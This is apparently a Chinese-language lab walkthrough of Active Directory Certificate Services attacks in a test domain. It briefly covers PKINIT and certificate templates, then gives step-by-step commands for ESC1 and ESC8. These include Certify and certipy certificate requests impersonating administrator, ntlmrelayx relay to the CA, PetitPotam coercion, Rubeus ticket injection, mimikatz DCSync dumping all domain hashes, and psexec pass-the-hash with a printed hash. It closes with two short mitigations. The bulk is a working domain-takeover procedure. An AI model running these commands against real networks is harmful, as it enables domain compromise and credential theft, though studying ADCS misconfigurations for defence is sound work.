概述
Active Directory Certificate Services (ADCS)
是微软 Windows Server 操作系统中的一个角色,主要用于构建和管理公钥基础设施(PKI)。
Kerberos认证过程
PKINIT认证
PKINIT(Public Key Infrastructure for Initial Authentication)是Kerberos协议的一个扩展,它允许使用公钥证书进行初始身份认证。与传统的Kerberos身份验证相比,PKINIT提供了一种基于公钥加密的认证机制,增强了安全性。
在PKINIT认证过程中,客户端和Kerberos认证服务器(KDC)使用证书和私钥进行通信,而不是使用密码或密钥散列。以下是PKINIT认证的基本步骤:
- 证书注册:客户端生成一对公钥和私钥,并把公钥证书送至证书颁发机构(CA)签名。CA对客户端的公钥进行签名,并颁发证书给客户端。KDC也需要一个由CA颁发的证书,以便客户端可以验证KDC的身份。
- PKINIT认证请求:在Kerberos的AS-REQ(Authentication Service Request)消息中,客户端会附上它的
证书
和用私钥
签名的请求。KDC使用客户端证书中的公钥
进行解密,并验证签名是否有效。确认有效之后返回使用证书公钥
加密的 TGT 并且消息是使用 KDC 私钥签名,客户端使用 KDC 公钥进行签名校验,随后使用证书私钥
解密成功拿到 TGT。 - 会话密钥交换:一旦认证成功,KDC和客户端将使用Diffie-Hellman密钥交换或其他机制来安全地协商一个会话密钥。
证书模板
证书模板
是用于定义证书属性和颁发规则的预设配置,它在公钥基础设施(PKI)中用于指导证书颁发机构(CA)自动颁发具有特定属性和用途的证书。
简单来说,就是不同证书可以发挥不同的作用,利用证书模板来决定这个证书可以用来干什么。
通过控制面板
-管理工具
-证书颁发机构
可以看到所有的证书模板。
应用程序策略 (oid)
当创建证书模板时,可以指定一系列的OID,这些OID定义了证书的用途和它们的扩展属性。
然而只有包含了 Client Authentication
(客户端身份认证)、PKINIT Client Authentication
、Smart Card Logon
(智能卡登录)、Any Purpose
(任何目的)、SubCA
时,对应的证书才能充当 PKINIT 身份认证凭据。
环境说明:
1 | 主域控:192.168.74.138 主机名:WIN-KD9M44NUV16 域名:lyy.com |
环境搭建可参考ADCS小结
由于ESC8漏洞涉及到NTLM RELAY,然而微软在ms08-068中对Relay到自身机器做了限制,严禁Relay到机器自身所以这里必须要搭建
ADCS服务器+域控服务器
或ADCS搭在域控上+辅域控
ADCS漏洞–ESC1
条件
1、我们需要有权限去获取(注册)证书
2、能够登记为客户端身份验证或智能卡登录等
3、CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT开启
配置
对于第一个条件,直接在域控里赋予Domain Users
组注册权限即可
对于第二个条件需在拓展
的应用程序策略
中加入客户端身份验证
第三个条件则需要在使用者名称
中选择在请求中提供
复现
1 | net user /add user1 Wsx123. /domain #创建user1用户 |
使用Certify.exe(exe版本可在此处下载)同时需要有个Interop.CERTENROLLLib.dll(可通过nuget下载nupkg文件后通过解压工具提取),且需要.NET环境。
检测是否存在证书配置错误
1 | Certify.exe find /vulnerable |
可以看到发现了一个错误的的证书模板
定位CA机器
1 | certutil -config - -ping |
获取证书
1 | Certify.exe request /ca:WIN-KD9M44NUV16.lyy.com\lyy-WIN-KD9M44NUV16-CA /template:ESC1 /altname:administrator |
将-----BEGIN RSA PRIVATE KEY----- ... -----END CERTIFICATE-----
复制保存为cert.pem
用kali上的openssl将cert.pem换算为cert.pfx,不需要输入密码
1 | openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx |
使用Rubeus(exe下载)获取administrator管理员的TGT
1 | Rubeus.exe asktgt /user:administrator /certificate:cert.pfx /dc:192.168.74.138 /ptt |
klist查看当前缓存的 Kerberos 票据
查看域控c盘下的文件
1 | dir \\WIN-KD9M44NUV16\c$ |
也可以在kali使用certipy来进行利用
安装certipy
1 | pip3 install certipy-ad |
查询对于用户user1存在哪些证书模板可利用
1 | certipy find -u user1@lyy.com -p Wsx123. -dc-ip 192.168.74.138 -vulnerable -debug -vulnerable |
可以看到35个证书模板中颁布了12个模板,其中1个模板存在漏洞,查看具体的漏洞信息可以发现检测出来了ESC1漏洞
通过-upn参数去获取administrator的证书
1 | certipy req -u user1@lyy.com -p Wsx123. -ca lyy-WIN-KD9M44NUV16-CA -target-ip 192.168.74.138 -template ESC1 -upn administrator@lyy.com |
获取用户hash
1 | certipy auth -pfx 111.pfx -dc-ip 192.168.74.138 |
对于不同的证书模板有不同的利用方式,具体可参考利用ADCS不安全模板配置提升域权限
ADCS漏洞–ESC8(PetitPotam)(ADCS relay)
由于在ADCS的认证中支持NTLM认证,所以可使用ntlm relay窃取用户HASH
访问http://192.168.74.138/certsrv/certfnsh.asp
发现需要用户认证
复现
使用ntlmrelayx.py
将证书颁发机构 (CA) 设置为中继目标,开启监听
1 | git clone https://github.com/SecureAuthCorp/impacket.git |
--adcs
:这个参数用于指示攻击者想要利用 Active Directory 证书服务 (ADCS) 的漏洞。ADCS 是 Windows Server 中的一个角色服务,用于颁发和管理系统的公钥基础结构 (PKI) 证书。--template 'Domain Controller'
:这个参数后面跟着的是模板名称,用于指示ntlmrelayx
在执行攻击时应该模仿哪种类型的服务或计算机。在这个例子中,使用了 ‘Domain Controller’ 模板,意味着攻击者试图模仿域控制器的行为。
使用PetitPotam进行攻击
1 | python PetitPotam.py -u '' -d '' -p '' 192.168.74.135(攻击机中转,回连地址) 192.168.74.143(辅域) |
PetitPotam漏洞利用了微软加密文件系统远程协议(MS-EFSRPC,MicroSoft Encrypting File System Remote Protocol)。MS-EFSRPC是 Microsoft 的加密文件系统远程协议,用于对远程存储和通过网络访问的加密数据执行“维护和管理操作”。利用该漏洞,黑客通过连接到LSARPC强制触发目标机器向指定远程服务器发送Net-NTLM Hash,从而攻击者在拿到Net-NTLM Hash后能进行NTLM Relay攻击,进而接管整个域。
ntlmrelayx.py捕获到了ntlm认证,并将认证信息保存到了WIN-6K645OMCGG8$.pfx
文件中
使用Rubeus.exe获取凭证信息
1 | Rubeus.exe asktgt /user:WIN-6K645OMCGG8$ /certificate:WIN-6K645OMCGG8$.pfx /dc:192.168.74.138 /ptt |
使用mimikatz提取票据中的密码hash
1 | lsadump::dcsync /all /csv /domain:lyy.com |
通过PTH成功在域控上执行了命令
1 | python3 psexec.py lyy/administrator@192.168.74.138 -hashes :70834250207c9b16a3e6cd8c9d3a8054 |
防御
1.关闭证书服务的web端点,或者开启SSL认证
2.开启NTML中继保护
KB5005413:缓解 Active Directory 证书服务上的 NTLM 中继攻击 (AD CS)
参考: